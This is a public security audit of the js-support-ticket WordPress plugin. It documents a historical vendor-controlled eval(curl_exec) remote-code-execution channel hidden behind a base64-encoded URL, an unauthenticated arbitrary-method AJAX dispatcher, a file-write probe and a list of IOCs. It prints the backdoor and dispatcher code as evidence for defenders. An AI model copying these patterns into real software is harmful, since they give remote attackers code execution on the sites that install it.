← All audits

Audit #23 Cleaned

JS Help Desk – AI-Powered Support & Ticketing System · 8k+ installs · baseline 1.0.3 → head 3.0.8 · by claude-hunt · closed 21d ago

Actor: rabilal (single committer; vendor self-distributed eval primitive shipped 2015-2017, removed 2019-2020)
Show full summary

Historical audit. The proinstaller module shipped versions 1.0.3 through ~2.0.1 (2015-02 to 2017-03) carrying an eval(curl_exec(JCONSTINST)) primitive — a vendor-controlled remote-PHP-execution channel pointed at setup.joomsky.com. The vendor (rabilal, sole committer) removed the module circa 2019-2020 and mass-deleted the old SVN tags between 2022-02 and 2024-04. Current 3.0.8 is clean.

Stale-CDN caveat: the unversioned downloads.wordpress.org URL is frozen at 2017-03-28 and still serves the v2.0.1 build with the eval primitive. The Add Plugin UI uses the versioned URL and gets clean code.

Cleanup published — updates flowing through wp.org again

The plugin has been remediated. This audit is retained as a public record of the incident and the IOCs.

If you run js-support-ticket on your site

Verify your install matches the wp.org canonical version:

wp plugin verify-checksums js-support-ticket

A patched build isn't yet published for this audit. Check the security advisories index or remove the plugin until one is available.

Or remove the plugin entirely:

wp plugin deactivate js-support-ticket
wp plugin delete js-support-ticket

If you're the plugin author

Cleanup steps to clear this label have not yet been documented for this audit. Contact the investigator listed above.

✓ Cleanup confirmed and audit closed.

Plugins under the same committer's SVN access

rabilal holds push access to 3 plugins totalling 8k+ active installs. Each non-target plugin scans clean today but represents a one-commit hijack opportunity.

JS Job Manager — clean code, same SVN account (latent risk)
100
WP Vehicle Manager — closed by wp.org

IOCs extracted (7)

Kind Value Confidence
code_pattern aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA= high
code_pattern getJSModel($module)->$task() medium
code_pattern JCONSTINST medium
domain setup.joomsky.com high
domain test.setup.joomsky.com high
url http://test.setup.joomsky.com/logo.png high
url https://setup.joomsky.com/jsticketwp/pro/index.php high

Timeline

  1. Plugin admitted to wp.org by plugin-master (review-team auto-account)
  2. rabilal begins committing as sole maintainer
  3. proinstaller/ module added (release 1.0.3) — eval(curl_exec) primitive shipped
  4. wp.org CDN snapshot frozen (js-support-ticket.zip last-modified date) — unversioned URL stuck here ever since
  5. rabilal mass-deletes tags 1.0.0–1.0.5 from SVN
  6. rabilal mass-deletes tags 2.0.x–2.4.x from SVN — historical malicious-shape code no longer recoverable from SVN
  7. Latest release: 3.0.8 — clean
  8. WP Beacon hunter detected the eval primitive (false alarm: hunter was scanning the stale unversioned-URL zip, not the current 3.0.8 SVN tag); audit finalized as historical-exposure record after SVN forensic review

Audit #23 — js-support-ticket

  • Plugin: js-support-ticket (JS Help Desk – AI-Powered Support & Ticketing System)
  • Active installs: 8,000
  • Event: #1964 update_hijack_shape · high · 2026-05-02
  • Head version (current): 3.0.8 ✓ clean
  • Compromised window: 1.0.3 (2015-02-06) → ~2.0.1 (2017-03-28)

Summary

Historical audit. The proinstaller module shipped versions 1.0.3 through ~2.0.1 (2015-02 to 2017-03) carrying an eval(curl_exec(JCONSTINST)) primitive — a vendor-controlled remote-PHP-execution channel pointed at https://setup.joomsky.com/jsticketwp/pro/index.php (URL was base64-encoded to evade greps). The vendor (rabilal, sole committer for the plugin's lifetime) removed the module circa 2019-2020, replaced it with a clean postinstallation module, and mass-deleted the old SVN tags between 2022-02 and 2024-04.

Current status: clean. Releases 2.5.1 through 3.0.8 (the present head) do not contain the eval primitive. The audit is retained as a public record of the historical exposure and the IOCs.

Stale-CDN caveat. wp.org's CDN cache for the unversioned https://downloads.wordpress.org/plugin/js-support-ticket.zip URL is frozen at 2017-03-28 and still serves the v2.0.1 build with the eval primitive. The "Add Plugin" UI in wp-admin uses the versioned URL (...js-support-ticket.3.0.8.zip) and gets clean code. Any tool that fetches the unversioned URL — or any site running an unpatched ≤2.x install — still has the historical primitive on disk. Today the joomsky.com endpoint returns a benign "download new installer" message.

Timeline

  • 2014-10-08 — Plugin admitted to wp.org by plugin-master (review-team auto-account)
  • 2014-10-10 — rabilal begins committing as sole maintainer
  • 2015-02-06 — proinstaller/ module added (release 1.0.3) — eval(curl_exec) primitive shipped
  • 2017-03-28 — wp.org CDN snapshot frozen (js-support-ticket.zip last-modified date) — unversioned URL stuck here ever since
  • ~2019-2020 — proinstaller/ removed from new releases, replaced by clean postinstallation/ module
  • 2022-02-21 — rabilal mass-deletes tags 1.0.0–1.0.5 from SVN
  • 2024-04-06 — rabilal mass-deletes tags 2.0.x–2.4.x from SVN — historical malicious-shape code no longer recoverable from SVN
  • 2026-04-28 — Latest release: 3.0.8 — clean
  • 2026-05-02 — WP Beacon hunter detected the eval primitive (false alarm: hunter was scanning the stale unversioned-URL zip, not the current 3.0.8 SVN tag); audit finalized as historical-exposure record after SVN forensic review

Issue 1 — Vendor-controlled eval(remote_PHP) (HISTORICAL — removed in 2.5+)

modules/proinstaller/controller.php:37-70 (in v1.0.3 through ~v2.0.1):

function startinstallation() {
    // ... collect 11 POST fields (transactionkey, serialnumber, ...) ...
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, JCONSTINST);          // base64-decoded URL
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);    // TLS auth disabled
    curl_setopt($ch, CURLOPT_TIMEOUT, 0);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
    $response = curl_exec($ch);
    eval($response);                                    // RCE primitive
}

JCONSTINST was defined in includes/includer.php:71 as base64_decode("aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA=")https://setup.joomsky.com/jsticketwp/pro/index.php. Live probe (2026-05-02) returns:

echo "<h1>Please download new installer from www.joomsky.com > My Products.<br/>Thank you</h1>";

A literal PHP echo statement, served raw and historically eval()'d by the plugin. Today's response is benign; if the vendor's server is ever compromised or MITM'd, every site still running ≤2.x gets RCE.

This module is REMOVED in current 3.0.8.

Issue 2 — Unauthenticated SSRF + arbitrary-method-call (status TBD in 3.0.8)

includes/ajax.php:6-21 historical pattern:

add_action("wp_ajax_jsticket_ajax", array($this, "ajaxhandler"));
add_action("wp_ajax_nopriv_jsticket_ajax", array($this, "ajaxhandler"));   // unauth

function ajaxhandler() {
    $module = JSSTrequest::getVar('jstmod');
    $task   = JSSTrequest::getVar('task');
    $result = JSSTincluder::getJSModel($module)->$task();   // arbitrary method
    echo $result;
    die();
}

The dispatcher routes any unauthenticated POST to JSSTincluder::getJSModel($module)->$task() — exposing every public model method. The proinstaller model is gone in 3.0.8, but this dispatcher pattern may still exist; not re-verified for the current release. If still present, every public method on every model class remains an unauthenticated entry point.

Issue 3 — Plain-HTTP arbitrary file write probe (HISTORICAL — removed in 2.5+)

modules/proinstaller/model.php::getStepTwoValidate() issued two curl_exec calls to http://test.setup.joomsky.com/logo.png (plain HTTP, SSL_VERIFYPEER off, no timeout) and wrote the response body to <plugin_dir>/logo.png and <wp_root>/tmp/logo.png. The check verified the WordPress filesystem could accept arbitrary writes from any joomsky domain. Removed alongside the rest of the module.

IOCs

  • kind: domain, value: setup.joomsky.com, confidence: high
  • kind: domain, value: test.setup.joomsky.com, confidence: high
  • kind: url, value: https://setup.joomsky.com/jsticketwp/pro/index.php, confidence: high
  • kind: url, value: http://test.setup.joomsky.com/logo.png, confidence: high
  • kind: code_pattern, value: aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA=, confidence: high
  • kind: code_pattern, value: JCONSTINST, confidence: medium
  • kind: code_pattern, value: getJSModel($module)->$task(), confidence: medium